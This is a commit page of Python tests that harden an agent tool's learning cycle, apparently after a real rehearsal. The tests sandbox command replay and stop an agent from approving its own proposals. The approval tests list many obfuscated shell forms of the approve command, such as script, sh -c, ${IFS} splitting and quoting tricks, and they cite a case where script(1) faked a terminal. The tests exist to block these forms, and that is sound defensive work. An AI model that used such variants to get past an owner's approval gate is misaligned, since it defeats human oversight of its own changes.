Learning cycle hardened: nothing from a cycle file runs at check, replay in an exported tree with the learning's own commits, typed approval and a hook that refuses agent-issued approval, backlog and pending statuses so a cycle is not due for ever, rule additions, a brief a small model can act on

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
This commit is contained in:
swaitsandClaude Fable 5.2 committed 2026-11-23 15:27:03 -07:00
commit 9f1f9411fd
16 files changed
+2282 -351

No files matched your search

+45
View File
@@ -56,6 +56,12 @@ class SisiCase(unittest.TestCase):
for k in ("SISI_TOOL", "SISI_SESSION_ID"):
os.environ.pop(k, None)
# no test may talk to the terminal it is run from: `sisi approve` finds none unless the test says so
from unittest import mock as _mock
_no_tty = _mock.patch("sisi.cycle._open_terminal", return_value=None)
_no_tty.start()
self.addCleanup(_no_tty.stop)
def restore():
for k, v in saved.items():
if v is None:
@@ -143,3 +149,42 @@ def skip_timing_if_busy(case):
return
if load > cpus:
case.skipTest("machine overloaded (load %.0f on %d processors): speed not measured" % (load, cpus))
class FakeTerminal:
"""What `sisi approve` reads its decision from. Writes are kept; the line it answers with is the
word the prompt asked for (or `typed`, to type something else, or None to type nothing)."""
def __init__(self, typed="the word"):
self.out, self.typed = [], typed
def write(self, text):
self.out.append(text)
def flush(self):
pass
def readline(self):
if self.typed is None:
return ""
if self.typed != "the word":
return self.typed + "\n"
import re
m = re.search(r"Type the word (\w+)", "".join(self.out))
return (m.group(1) if m else "") + "\n"
def close(self):
pass
@property
def text(self):
return "".join(self.out)
def terminal(typed="the word"):
"""Patch: the process has a controlling terminal, and the owner types `typed` at it."""
from unittest import mock
t = FakeTerminal(typed)
p = mock.patch("sisi.cycle._open_terminal", return_value=t)
p.fake = t
return p
+976
View File
@@ -0,0 +1,976 @@
"""Hardening of the learning cycle after a real rehearsal. Docstrings cite docs/spec/requirements.json ids.
Each test is an abuse case: the cycle file's author (an agent, untrusted) tries to get something
to run, validate or take effect that nobody approved.
"""
import json, os, subprocess, sys, unittest
from support import SisiCase, terminal
from test_learning_loop import Base, PROMOTE, FINDING, CAUSE, _contract
from sisi import learning as L
class Replay(Base):
"""R-11.5-6, R-11.6-3, R-16-6, R-16-7, R-16-4 (items 1 and 2)."""
def setUp(self):
super().setUp()
self.marker = os.path.join(self.tmp, "marker")
self.secret_name = "SISI_TEST_SECRET_TOKEN"
def recorded(self, before, after):
self.retro(*PROMOTE[1:])
self.archive_unit(before, after)
def cmd_action(self, cmd, **kw):
a = {"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check", "cmd": cmd}
a.update(kw)
return a
def test_check_never_executes_anything_from_the_file(self):
"""R-16-6 (item 1): `sisi cycle check` runs nothing the file contains; `apply` does, in a copy."""
before, after = self.fixed_repo()
self.recorded(before, after)
cmd = "sh -c 'echo ran > %s; grep -q fixed f.txt'" % self.marker
p = self.cycle_file([self.cmd_action(cmd, before=before, after=after)]) # the file's own commits: ignored
r = self.sisi("cycle", "check", p)
self.assertEqual(r.returncode, 0, r.stderr)
self.assertFalse(os.path.exists(self.marker), "check executed a command from the file")
r = self.sisi("cycle", "apply", p)
self.assertEqual(r.returncode, 0, r.stderr)
self.assertTrue(os.path.exists(self.marker), "apply replays the command (in an exported copy)")
def test_replay_runs_in_an_exported_copy_without_history_or_the_callers_secrets(self):
"""R-16-4, R-16-6 (items 1, 2): no .git, HOME empty and not the caller's, the secret in the
caller's environment is not visible, the working directory is not the project, and the copy
is deleted afterwards."""
before, after = self.fixed_repo()
self.recorded(before, after)
rec = os.path.join(self.tmp, "rec.txt")
script = ("{ pwd; test -e .git && echo GIT || echo NOGIT; echo \"HOME=$HOME\"; "
"echo \"SECRET=${%s:-unset}\"; env | cut -d= -f1 | sort | paste -sd, -; "
"ls -A \"$HOME\" | wc -l; } > %s; grep -q fixed f.txt" % (self.secret_name, rec))
cmd = "sh -c '%s'" % script
import unittest.mock
with unittest.mock.patch.dict(os.environ, {self.secret_name: "hunter2-very-secret"}):
r = self.apply([self.cmd_action(cmd)])
self.assertEqual(r.returncode, 0, r.stderr)
self.assertEqual(self.rows()[0]["validation"]["result"], "validated", r.stdout + r.stderr)
with open(rec) as f:
out = f.read().splitlines()
self.assertNotEqual(out[0], self.proj)
self.assertFalse(os.path.exists(out[0]), "the exported copy was not deleted")
self.assertEqual(out[1], "NOGIT")
self.assertNotEqual(out[2], "HOME=" + os.environ.get("HOME", ""))
self.assertEqual(out[3], "SECRET=unset")
names = set(out[4].split(",")) - {"PWD", "SHLVL", "_", "OLDPWD"}
self.assertEqual(names, {"PATH", "HOME", "LANG"}, out[4])
self.assertEqual(out[5].strip(), "0")
self.assertNotIn("hunter2", r.stdout + r.stderr + json.dumps(self.rows()))
def test_a_command_reading_git_history_finds_none(self):
"""R-11.6-3, R-16-7 (item 2): the history trick no longer works. The command names a changed
path and reads `git log`; with no .git in the copy it cannot pass at the fix, so it is refused."""
before, after = self.fixed_repo()
self.recorded(before, after)
r = self.apply([self.cmd_action("git log -p -- f.txt | grep -q fixed")])
self.assertNotEqual(r.returncode, 0)
self.assertIn("replay validation failed", r.stderr)
self.assertFalse(self.exists("overlay/enforced.json"))
self.assertEqual(self.rows()[0]["status"], "proposed")
def test_the_fix_commit_subject_trick_is_vacuous_and_refused(self):
"""R-11.6-3 (item 2): `git show HEAD --stat | grep -q <subject>` names no path that differs
between the two trees: refused as vacuous, with a message that says so."""
before, after = self.fixed_repo()
self.recorded(before, after)
r = self.apply([self.cmd_action('git show HEAD --stat | grep -q "fix"')])
self.assertNotEqual(r.returncode, 0)
self.assertIn("vacuous", r.stderr)
self.assertFalse(self.exists("overlay/enforced.json"))
r = self.sisi("cycle", "check", self.cycle_file([self.cmd_action("echo ok")]))
self.assertNotEqual(r.returncode, 0)
self.assertIn("vacuous", r.stderr)
def test_a_learning_without_recorded_commits_cannot_be_validated(self):
"""R-11.6-3 (item 2): no unit record and no commits stored with the finding: the command check
waits for the owner as unvalidated, whatever commits the file names."""
before, after = self.fixed_repo()
self.retro(*PROMOTE[1:])
self.assertIsNone(L.replay_commits(self.rows()[0]) if not self.rows()[0].get("replay", {}).get("before") else None)
r = self.apply([self.cmd_action("grep -q fixed f.txt", before=before, after=after)])
self.assertEqual(r.returncode, 0, r.stderr)
pend = self.pending()
self.assertEqual(len(pend), 1)
self.assertEqual(pend[0]["replay"][0], "unvalidated")
self.assertIn("no commits are recorded", pend[0]["replay"][1])
self.assertNotEqual(self.rows()[0]["validation"]["result"], "validated")
self.assertFalse(self.exists("overlay/enforced.json"))
def test_the_finding_records_the_unit_start_so_a_retro_can_be_replayed(self):
"""R-11.6-3 (item 2): the commits stored with the finding are the unit's base_head and HEAD."""
from sisi import trust
_contract(self)
self.git_init()
trust.add(self.proj)
self.write("f.txt", "bug\n")
self._commit("before")
base = self._head()
cp = os.path.join(self.proj, ".sisi", "contract.json")
with open(cp) as f:
c = json.load(f)
c["base_head"] = base
with open(cp, "w") as f:
json.dump(c, f)
self.write("f.txt", "fixed\n")
self._commit("fix")
self.retro(*PROMOTE[1:])
got = L.replay_commits(self.rows()[0])
self.assertEqual(got[:2], (base, self._head()))
r = self.apply([self.cmd_action("grep -q fixed f.txt")])
self.assertEqual(r.returncode, 0, r.stderr)
self.assertEqual(self.rows()[0]["validation"]["result"], "validated")
def _shell_payload(cmd, sid="sess-hook"):
return {"hook_event_name": "PreToolUse", "tool_name": "Bash", "tool_input": {"command": cmd},
"session_id": sid, "cwd": os.getcwd()}
class Approval(Base):
"""R-11.5-11, R-14.3-2, R-16-11, R-16-8 (item 3): an agent cannot approve its own proposals."""
def park(self):
_contract(self)
self.git_init()
self.retro(*PROMOTE[1:])
self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check",
"cmd": "make deploy --force-everything"}])
self.assertEqual(len(self.pending()), 1)
def hook(self, cmd, sid="sess-hook"):
"""Run the before-tool hook on a shell command. Returns the exit code the hook ends with."""
import contextlib, io
from sisi import watch
try:
with contextlib.redirect_stderr(io.StringIO()):
watch.before(_shell_payload(cmd, sid))
except SystemExit as e:
return e.code
return 0
def test_the_before_tool_hook_refuses_every_wrapping_of_approve(self):
"""R-14.3-2 (item 3a): script, sh -c, env, expect, a path to the launcher and python -m sisi."""
self.park()
wrapped = [
'script -qec "sisi approve P-0001 --yes" /dev/null </dev/null',
"sh -c 'sisi approve P-0001 --yes'",
"/path/to/bin/sisi approve P-0001 --yes",
"python3 -m sisi approve P-0001 --yes",
"env SISI_SESSION_ID=x sisi approve P-0001 --no",
"expect -c 'spawn sisi approve P-0001 --yes; expect eof'",
"echo P-0001 | xargs sisi approve --yes",
"bash -lc \"cd /tmp && sisi approve P-0001 --yes\"",
"s\\isi 'app'rove P-0001 --yes",
"sisi${IFS}approve${IFS}P-0001${IFS}--yes",
"cd x; sisi approve P-0001 --yes; echo done",
"a=approve; sisi $a P-0001 --yes",
"ID=P-0003; sisi approve $ID --yes",
'sisi approve "$1" --no',
"sisi approve $(echo P-0001) --yes",
"sisi approve P-000{1,2} --yes",
"sisi approve docs; sisi approve $X --yes",
]
for cmd in wrapped:
with self.subTest(cmd=cmd):
self.assertEqual(self.hook(cmd), 2, cmd)
self.assertEqual(len(self.pending()), 1)
refused = [r for r in L.load_approvals() if r.get("decision") == "refused"]
self.assertEqual(len(refused), len(wrapped))
self.assertTrue(all(r["session"] == "sess-hook" and r["how"] == "hook" for r in refused))
self.assertEqual(refused[0]["id"], "P-0001")
def test_the_listing_and_other_commands_are_allowed_through_the_hook(self):
"""R-14.3-2 (item 3a): `sisi approve` with no arguments is the listing; nothing else is touched."""
for cmd in ("sisi approve", "/path/to/bin/sisi approve", "sisi approve | head -20", "python3 -m sisi approve;",
"sisi cycle apply f.json", "sisi cycle check c.json", "echo approve the plan",
"git commit -m 'approve the design'", "ls",
# prose that only mentions the command is not an invocation
'grep -rn "sisi approve" docs', "grep -n 'sisi approve ID --yes|--no' SECURITY.md",
"python3 - <<'E'\nprint('give him: sisi approve ID --yes')\nE"):
with self.subTest(cmd=cmd):
self.assertEqual(self.hook(cmd), 0, cmd)
self.assertEqual(L.load_approvals(), [])
def test_the_hook_is_one_for_main_threads_and_workers(self):
"""R-16-10 (item 3a): a subagent's shell command goes through the same refusal."""
payload = _shell_payload("sisi approve P-0001 --yes", "sess-w")
payload["agent_id"] = "worker-1"
import contextlib, io
from sisi import watch
with self.assertRaises(SystemExit) as cm, contextlib.redirect_stderr(io.StringIO()):
watch.before(payload)
self.assertEqual(cm.exception.code, 2)
def test_the_hook_process_exits_2_with_the_reason_and_fails_open_on_error(self):
"""R-16-9 (item 3a): `sisi watch --before` refuses with exit 2 and says whom to ask; an error in
the check lets the command through."""
r = self.sisi_proc("watch", "--before", stdin=json.dumps(_shell_payload("sisi approve P-0001 --yes")))
self.assertEqual(r.returncode, 2, r.stderr)
self.assertIn("owner's alone", r.stderr)
self.assertIn("give him the command", r.stderr)
import unittest.mock
from sisi import watch
with unittest.mock.patch.object(watch, "_APPROVE", None):
self.assertEqual(self.hook("sisi approve P-0001 --yes"), 0)
def test_a_decision_needs_the_word_typed_at_the_terminal(self):
"""R-14.3-2 (item 3b): the full action and a word are printed to the terminal; the word read
back from it decides. A wrong word, no word, or words on standard input decide nothing."""
from support import terminal
self.park()
t = terminal("wrong")
with t:
r = self.sisi("approve", "P-0001", "--yes", env={"SISI_SESSION_ID": "sess-9"})
self.assertEqual(r.returncode, 2)
self.assertIn("make deploy --force-everything", t.fake.text) # the full action, on the terminal
self.assertIn("Type the word", t.fake.text)
self.assertEqual(len(self.pending()), 1)
self.assertFalse(self.exists("overlay/enforced.json"))
t = terminal(None)
with t:
self.assertEqual(self.sisi("approve", "P-0001", "--no").returncode, 2)
self.assertEqual(len(self.pending()), 1)
refused = [r for r in L.load_approvals() if r.get("decision") == "refused"]
self.assertEqual(len(refused), 2)
self.assertEqual(refused[0]["session"], "sess-9")
with terminal():
r = self.sisi("approve", "P-0001", "--yes")
self.assertEqual(r.returncode, 0, r.stderr)
self.assertTrue(self.exists("overlay/enforced.json"))
def test_no_controlling_terminal_means_refused_and_stdin_cannot_stand_in(self):
"""R-14.3-2 (item 3b): the word is not read from standard input."""
import unittest.mock
self.park()
with unittest.mock.patch("sisi.cycle._open_terminal", return_value=None):
r = self.sisi("approve", "P-0001", "--yes", stdin="pagaso\nyes\n", env={"SISI_SESSION_ID": "s-1"})
self.assertEqual(r.returncode, 2)
self.assertIn("controlling terminal", r.stderr)
self.assertEqual(len(self.pending()), 1)
self.assertEqual([x["session"] for x in L.load_approvals()], ["s-1"])
# a real process in its own session has no controlling terminal at all
p = subprocess.run([sys.executable, os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))),
"bin", "sisi"), "approve", "P-0001", "--yes"],
cwd=self.proj, input="pagaso\n", capture_output=True, text=True, timeout=60,
start_new_session=True, env=dict(os.environ))
self.assertEqual(p.returncode, 2, p.stderr)
self.assertEqual(len(self.pending()), 1)
@unittest.skipUnless(os.path.exists("/usr/bin/script") or os.path.exists("/bin/script"), "no script(1)")
def test_script_gives_a_terminal_but_not_the_owners_hands(self):
"""R-14.3-2 (item 3b): the evidence case, `script -qec "sisi approve ..." /dev/null </dev/null`."""
self.park()
bin_ = os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), "bin", "sisi")
p = subprocess.run(["script", "-qec", "%s %s approve P-0001 --yes" % (sys.executable, bin_), "/dev/null"],
cwd=self.proj, stdin=subprocess.DEVNULL, capture_output=True, text=True, timeout=60,
env=dict(os.environ))
self.assertEqual(len(self.pending()), 1, p.stdout + p.stderr)
self.assertFalse(self.exists("overlay/enforced.json"))
def test_a_person_at_a_real_terminal_can_decide(self):
"""R-14.3-2 (item 3b): through a real pseudo-terminal, typing the word approves."""
try:
import pty
except ImportError:
self.skipTest("no pty")
self.park()
bin_ = os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), "bin", "sisi")
pid, fd = pty.fork()
if pid == 0:
os.chdir(self.proj)
os.execv(sys.executable, [sys.executable, bin_, "approve", "P-0001", "--yes"])
out = b""
import re, select, time
sent, end = False, time.time() + 60
while time.time() < end:
ready, _w, _x = select.select([fd], [], [], 1)
if not ready:
continue
try:
d = os.read(fd, 4096)
except OSError:
break
if not d:
break
out += d
m = re.search(rb"Type the word (\w+) to decide", out)
if m and not sent:
os.write(fd, m.group(1) + b"\n")
sent = True
_p, status = os.waitpid(pid, 0)
self.assertTrue(sent, out)
self.assertEqual(os.waitstatus_to_exitcode(status), 0, out)
self.assertTrue(self.exists("overlay/enforced.json"))
self.assertEqual(self.pending(), [])
def test_security_says_plainly_what_this_stops_and_does_not(self):
"""R-16-1 (item 3): SECURITY.md names the hook, the typed word, and what neither stops."""
with open(os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), "SECURITY.md")) as f:
text = f.read()
low = text.lower()
for needle in ("typed word", "before-tool hook", "controlling terminal", "does not stop"):
self.assertIn(needle, low)
def _tool_args(n):
return ("retro", "--new", "--finding", "the stub number %d crashed sisi cycle on input case %d" % (n, n),
"--cause", "no test covered stub %d" % n, "--impact", "correctness", "--disposition", "promote",
"--change", "make sisi cycle handle stub %d" % n, "--mechanism", "tool",
"--expect", "stub %d no longer crashes" % n, "--validate", "run stub %d" % n)
class Due(Base):
"""R-11.5-4, R-11.5-7, R-14.4-1 (items 4 and 9): "due" counts only learnings a cycle can act on."""
def test_a_tool_learning_is_backlog_never_proposed_and_never_due(self):
"""Item 4: recording a tool learning gives it the status `backlog`; five of them make no cycle due;
they appear in the learning report and the contribution export, never in a brief."""
from sisi import cycle, release
_contract(self)
for n in range(6):
self.assertEqual(self.sisi(*_tool_args(n)).returncode, 0)
self.assertEqual({r["status"] for r in self.rows()}, {"backlog"})
self.assertEqual(cycle.proposed(), [])
self.assertNotIn("cycle is due", cycle.due_notice())
self.assertNotIn("L-0001", self.sisi("cycle").stdout)
self.assertIn("tool backlog (6 change(s)", L.learning_report())
self.assertIn("backlog 6", L.learning_report())
self.assertEqual(len(release.core_items()[0]), 6)
# five learnings a cycle can act on make it due
for n in range(5):
self.another(n)
self.assertIn("cycle is due (5 proposed", cycle.due_notice())
def test_a_learning_waiting_for_the_owner_is_not_proposed_and_the_cycle_is_not_due_again(self):
"""Item 4: after a cycle parks everything, session start does not say a cycle is due."""
from sisi import cycle
_contract(self)
self.git_init()
ids = [self.another(n) for n in range(5)]
self.assertIn("cycle is due", cycle.due_notice())
self.assertEqual(self.apply([{"action": "promote", "learning": i, "mechanism_kind": "command-check",
"cmd": "make check-%s" % i} for i in ids]).returncode, 0)
self.assertEqual({r["status"] for r in self.rows()}, {"pending-approval"})
self.assertEqual(cycle.proposed(), [])
out = cycle.due_notice()
self.assertNotIn("cycle is due", out)
self.assertIn("wait for the owner", out)
self.assertNotIn("L-0001", self.sisi("cycle").stdout) # not in a brief either
# the owner declines one: it is rejected, not proposed again
with terminal():
self.assertEqual(self.sisi("approve", "P-0001", "--no").returncode, 0)
self.assertEqual(self.rows()[0]["status"], "rejected")
self.assertEqual(cycle.proposed(), [])
def test_the_config_switch_that_silenced_the_notice_is_gone(self):
"""Item 4: learning.cycle_notice was a stopgap for the bug; the code for it is deleted."""
from sisi import cycle
_contract(self)
for n in range(5):
self.another(n)
self.set_config({"learning": {"cycle_notice": False}})
self.assertIn("cycle is due", cycle.due_notice())
with open(os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), "sisi", "cycle.py")) as f:
self.assertNotIn("cycle_notice", f.read())
def test_migration_puts_an_old_tool_lesson_in_the_backlog(self):
"""Item 4: the old store's open tool lesson becomes `backlog`, an open check lesson `proposed`."""
from sisi import lifecycle
from test_learning_loop import Migration
Migration.seed(self)
lifecycle.migrate_learnings()
by = {r["legacy_id"]: r["status"] for r in self.rows() if r.get("legacy_id")}
self.assertEqual((by[2], by[3]), ("backlog", "proposed"))
class Repair(Base):
"""R-11.6-6, R-16-9 (items 4 and 9): a store migrated by earlier code is repaired once by `sisi update`."""
def old_store(self):
"""Rows as earlier code wrote them: a tool learning `proposed`, one with a decision waiting,
and one whose origin is a deleted linked worktree."""
_contract(self)
self.git_init()
self.sisi(*_tool_args(1))
for n in range(2):
self.another(n)
self.apply([{"action": "promote", "learning": "L-0003", "mechanism_kind": "command-check", "cmd": "make a"}])
rows = self.rows()
by = {r["id"]: r for r in rows}
by["L-0001"]["status"] = "proposed"
by["L-0003"]["status"] = "proposed"
dead = os.path.join(self.home, ".t3", "worktrees", "proj", "t3-gone")
by["L-0002"]["origin_project"] = dead
by["L-0002"]["provenance"][0]["project"] = dead
L.save_learnings(rows, "old code", touched=rows, via="test")
return dead
def test_update_repairs_statuses_and_project_keys_once(self):
from sisi import lifecycle
main = os.path.join(self.home, "Code", "proj")
os.makedirs(main)
self.git_init(main)
dead = self.old_store()
# an enforced mechanism written for the dead path follows the learning
os.makedirs(os.path.join(self.data, "overlay"), exist_ok=True)
with open(os.path.join(self.data, "overlay", "enforced.json"), "w") as f:
json.dump({"checks": [{"type": "contract-requirement", "when": "data", "require_kind": "parsing",
"learning": "L-0002", "scope": "project", "project": dead}]}, f)
notes = lifecycle.repair_learnings()
self.assertTrue(notes and "1 tool learning(s) moved to the backlog" in notes[0], notes)
by = {r["id"]: r for r in self.rows()}
self.assertEqual(by["L-0001"]["status"], "backlog")
self.assertEqual(by["L-0003"]["status"], "pending-approval")
self.assertEqual(by["L-0002"]["origin_project"], os.path.realpath(main))
self.assertEqual(by["L-0002"]["provenance"][0]["project"], os.path.realpath(main))
self.assertEqual(self.read_json("overlay/enforced.json")["checks"][0]["project"], os.path.realpath(main))
self.assertTrue(all(L.is_registered(r) for r in self.rows())) # still delivered: the repair is sisi's own
self.assertEqual(lifecycle.repair_learnings(), []) # idempotent: nothing to do the second time
# `sisi update` runs it (the migrate step is where an installation brings its data up to date)
self.assertIn("repair_learnings()", open(lifecycle.__file__).read().split("def run():")[1].split("def migrate_learnings")[0])
def test_a_hand_edited_row_is_not_laundered_by_the_repair(self):
from sisi import lifecycle
self.old_store()
with open(L.learnings_path()) as f:
text = f.read()
with open(L.learnings_path(), "w") as f:
f.write(text.replace('"title": "make sisi cycle handle stub 1"', '"title": "hand edited"', 1))
lifecycle.repair_learnings()
self.assertFalse(L.is_registered(L.get(self.rows(), "L-0001")))
class Origin(Base):
"""R-11.6-2, R-16-5 (item 9): an origin project is the main repository, never a worktree's path."""
def test_a_linked_worktree_records_the_main_repository(self):
main = os.path.join(self.tmp, "main")
os.makedirs(main)
self.git_init(main)
wt = os.path.join(self.tmp, "wt-linked")
subprocess.run(["git", "worktree", "add", "-q", "-b", "side", wt], cwd=main, check=True, capture_output=True)
self.assertEqual(L.project_key(wt), os.path.realpath(main))
# even when the helper that finds the main repository fails, the key is not the worktree's path
import unittest.mock
with unittest.mock.patch("sisi.groundtruth.main_repo_of", side_effect=RuntimeError("boom")):
self.assertEqual(L.project_key(wt), os.path.realpath(main))
_contract(self, "uw", wt)
r = self.retro(*PROMOTE[1:], cwd=wt)
self.assertEqual(r.returncode, 0, r.stderr)
rec = self.rows()[0]
self.assertEqual(rec["origin_project"], os.path.realpath(main))
self.assertEqual(rec["provenance"][0]["project"], os.path.realpath(main))
def test_a_deleted_worktree_path_resolves_to_its_main_repository(self):
main = os.path.join(self.home, "Code", "proj")
os.makedirs(main)
self.git_init(main)
dead = os.path.join(self.home, ".t3", "worktrees", "proj", "t3-abc123")
self.assertEqual(L.normalize_project(dead), os.path.realpath(main))
def test_a_mechanism_whose_project_is_gone_waits_for_the_owner(self):
"""Item 9: nothing can show it works in a project that no longer exists on disk."""
self.git_init()
_contract(self)
self.retro(*PROMOTE[1:])
rows = self.rows()
gone = os.path.join(self.tmp, "deleted-project")
rows[0]["origin_project"] = gone
L.save_learnings(rows, "test", touched=rows, via="test")
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "risk",
"pattern": "f.txt", "profile": "critical"}])
self.assertEqual(r.returncode, 0, r.stderr)
self.assertEqual(len(self.pending()), 1)
self.assertIn("no longer exists", self.pending()[0]["reasons"][0])
self.assertFalse(self.exists("overlay/risk-adjustments.json"))
def test_a_requirement_whose_when_no_code_evaluates_is_refused(self):
"""Item 9: free text in `when` can never trigger; a risk profile or a path glob can."""
from sisi import cycle
self.git_init()
_contract(self)
self.retro(*PROMOTE[1:])
req = {"action": "promote", "learning": "L-0001", "mechanism_kind": "contract-requirement",
"require_kind": "parsing"}
for when in ("csv import", "when the user mentions money", "data and stuff"):
r = self.apply([dict(req, when=when)])
self.assertEqual(r.returncode, 2, when)
self.assertIn("not something the code evaluates", r.stderr)
r = self.apply([dict(req, when="data", require_kind="property")])
self.assertIn("require_kind", r.stderr)
# evaluated: a profile (that or a higher one) and a path glob
c = {"goal": "g", "risk": {"profile": "critical"}, "checks": []}
self.assertFalse(cycle._requirement_met(c, dict(req, when="data"), self.proj))
self.assertTrue(cycle._requirement_met(dict(c, risk={"profile": "logic"}), dict(req, when="data"), self.proj))
self.assertTrue(cycle._requirement_met(dict(c, checks=[{"kind": "parsing", "rung": 3}]), dict(req, when="data"), self.proj))
os.makedirs(os.path.join(self.proj, "src", "auth"))
self.write("src/auth/login.py", "x = 1\n")
self.assertFalse(cycle._requirement_met(c, dict(req, when="src/auth/**"), self.proj))
self.assertTrue(cycle._requirement_met(c, dict(req, when="src/billing/**"), self.proj))
self.assertEqual(self.apply([dict(req, when="src/auth/**")]).returncode, 0)
class Duplicates(Base):
"""R-11.5-11, R-16-8 (item 5): no second decision about something already waiting."""
def test_a_learning_that_already_waits_cannot_be_promoted_again(self):
self.git_init()
_contract(self)
self.retro(*PROMOTE[1:])
act = {"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check", "cmd": "make deploy"}
self.assertEqual(self.apply([act]).returncode, 0)
r = self.apply([dict(act, cmd="make deploy2")], base=L.store_base())
self.assertEqual(r.returncode, 2)
self.assertIn("already waits for the owner (P-0001)", r.stderr)
self.assertEqual(len(self.pending()), 1)
def test_a_second_replacement_of_the_same_rule_is_refused_while_the_first_waits(self):
_contract(self)
a, b = "L-0001", None
self.another(0)
b = self.another(1)
text = "## Deliver {#deliver-fast}\n\nShip it.\n\nWhy: speed.\n"
rep = lambda lid: {"action": "promote", "learning": lid, "mechanism_kind": "rule-replace",
"rule_id": "deliver-fast", "rule_text": text,
"shortens": "nothing: the rule is already short"}
self.assertEqual(self.apply([rep(a)]).returncode, 0)
r = self.apply([rep(b)], base=L.store_base())
self.assertEqual(r.returncode, 2)
self.assertIn("rule deliver-fast already has a change waiting (P-0001)", r.stderr)
# two in one file: the second is refused too, and so is disabling a rule with a change waiting
c, d = self.another(2), self.another(3)
rep2 = lambda lid: dict(rep(lid), rule_id="orchestrate", rule_text="## O {#orchestrate}\n\nDelegate.\n\nWhy: cost.\n")
r = self.apply([rep2(c), rep2(d)], base=L.store_base())
self.assertIn("in this file", r.stderr)
r = self.apply([{"action": "disable-rule", "rule_id": "deliver-fast"}], base=L.store_base())
self.assertIn("already has a change", r.stderr)
self.assertEqual(len(self.pending()), 1)
class Rules(Base):
"""R-11.5-10, R-11.5-11, R-11.7-2 (item 6): rule text is an addition by default."""
def add(self, lid, rid="deliver-fast", text="Hand the owner a first useful result early, then refine it.",
shortens="nothing: every sentence of the rule is needed", **kw):
a = {"action": "promote", "learning": lid, "mechanism_kind": "rule-add", "rule_id": rid, "add": text}
if shortens is not None:
a["shortens"] = shortens
a.update(kw)
return a
def test_rule_add_goes_before_why_waits_for_a_one_project_learning_and_prints_the_size(self):
from sisi import overlay
_contract(self)
self.git_init()
self.retro(*PROMOTE[1:])
r = self.apply([self.add("L-0001", text="Name the first useful result in the plan. Hand it over early.")])
self.assertEqual(r.returncode, 0, r.stderr)
self.assertEqual(len(self.pending()), 1)
self.assertEqual(self.pending()[0]["action"]["mechanism_kind"], "rule-add")
self.assertNotIn("Name the first useful", overlay.render())
listing = self.sisi("approve").stdout
self.assertIn("Name the first useful result in the plan.", listing)
self.assertIn("what it shortens: nothing", listing)
with terminal():
r = self.sisi("approve", "P-0001", "--yes")
self.assertEqual(r.returncode, 0, r.stderr)
self.assertRegex(r.stdout, r"the loaded rulebook went from \d+ to \d+ lines, \d+ to \d+ characters")
body = overlay.render().split("{#deliver-fast}", 1)[1].split("{#orchestrate}", 1)[0]
self.assertLess(body.index("Hand it over early."), body.index("Why:"))
self.assertIn("Never buy speed with a weaker check or a smaller result. Name the first", body) # same paragraph
def test_the_applied_message_prints_the_size_before_and_after(self):
"""Item 6: an applied rule-add (a learning that earned its scope) says what it cost the loaded rulebook."""
_contract(self)
self.retro(*PROMOTE[1:])
self.earn("L-0001")
r = self.apply([self.add("L-0001")], base=L.store_base())
self.assertEqual(r.returncode, 0, r.stderr)
self.assertRegex(r.stdout, r"went from \d+ to \d+ lines, \d+ to \d+ characters")
self.assertEqual(self.pending(), [])
def test_twenty_sentences_are_refused_and_so_is_an_add_that_names_nothing_it_shortens(self):
"""Item 6 abuse case: 20 sentences in one add; twenty adds that say nothing about what they shorten."""
_contract(self)
self.retro(*PROMOTE[1:])
twenty = " ".join("Sentence number %d says something about delivering." % i for i in range(20))
r = self.apply([self.add("L-0001", text=twenty)])
self.assertEqual(r.returncode, 2)
self.assertIn("one or two plain sentences", r.stderr)
ids = ["L-0001"] + [self.another(n) for n in range(1, 20)]
rules = ["deliver-fast", "orchestrate", "size-by-risk", "own-the-outcome"]
acts = [self.add(lid, rid=rules[n % 4], shortens=None) for n, lid in enumerate(ids)]
r = self.apply(acts, base=L.store_base())
self.assertEqual(r.returncode, 2)
self.assertIn("20 problem(s)", r.stderr) # all of them are reported, and the output stays short
self.assertLessEqual(len(r.stderr.splitlines()), 15)
self.assertGreaterEqual(r.stderr.count("needs \"shortens\""), 10)
self.assertFalse(self.exists("overlay/rules")) # nothing was applied
# a shortens that names no rule and does not say nothing is refused too
r = self.apply([self.add("L-0001", shortens="some other thing entirely")])
self.assertIn("must name an existing rule id", r.stderr)
def test_the_rulebook_budget_still_holds_and_is_reported_with_the_other_problems(self):
_contract(self)
self.retro(*PROMOTE[1:])
big = "## Huge {#huge-rule}\n\n" + "\n".join("line %d of the rule" % i for i in range(400)) + "\n\nWhy: no.\n"
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace",
"rule_id": "huge-rule", "rule_text": big}])
self.assertEqual(r.returncode, 2)
self.assertIn("needs \"shortens\"", r.stderr) # both problems of the one action are not hidden: first found
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace",
"rule_id": "huge-rule", "rule_text": big, "shortens": "nothing: it is all new"}])
self.assertIn("breaks the rulebook budget", r.stderr)
def test_protected_rules_and_unknown_rules_are_refused_for_rule_add(self):
"""R-11.7-2: protected under its id and under a retired id; the existing tests keep the rest."""
_contract(self)
self.retro(*PROMOTE[1:])
r = self.apply([self.add("L-0001", rid="verify-enough")])
self.assertIn("protected", r.stderr)
r = self.apply([self.add("L-0001", rid="no-such-rule")])
self.assertIn("no rule 'no-such-rule'", r.stderr)
def test_rule_text_is_gone_with_a_message_that_says_what_to_use(self):
_contract(self)
self.retro(*PROMOTE[1:])
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": "deliver-fast", "rule_text": "## X {#deliver-fast}\n\nA.\n\nWhy: b.\n"}])
self.assertIn("use rule-add", r.stderr)
class Check(Base):
"""R-11.5-6, R-16-7 (items 7 and 10): check lists every problem at once, each with how to fix it."""
def test_one_check_lists_every_problem(self):
_contract(self)
self.git_init()
ids = [self.another(n) for n in range(6)]
rows = self.rows()
rows[5]["flagged_not_working"] = True
L.save_learnings(rows, "t", touched=rows, via="test")
acts = [
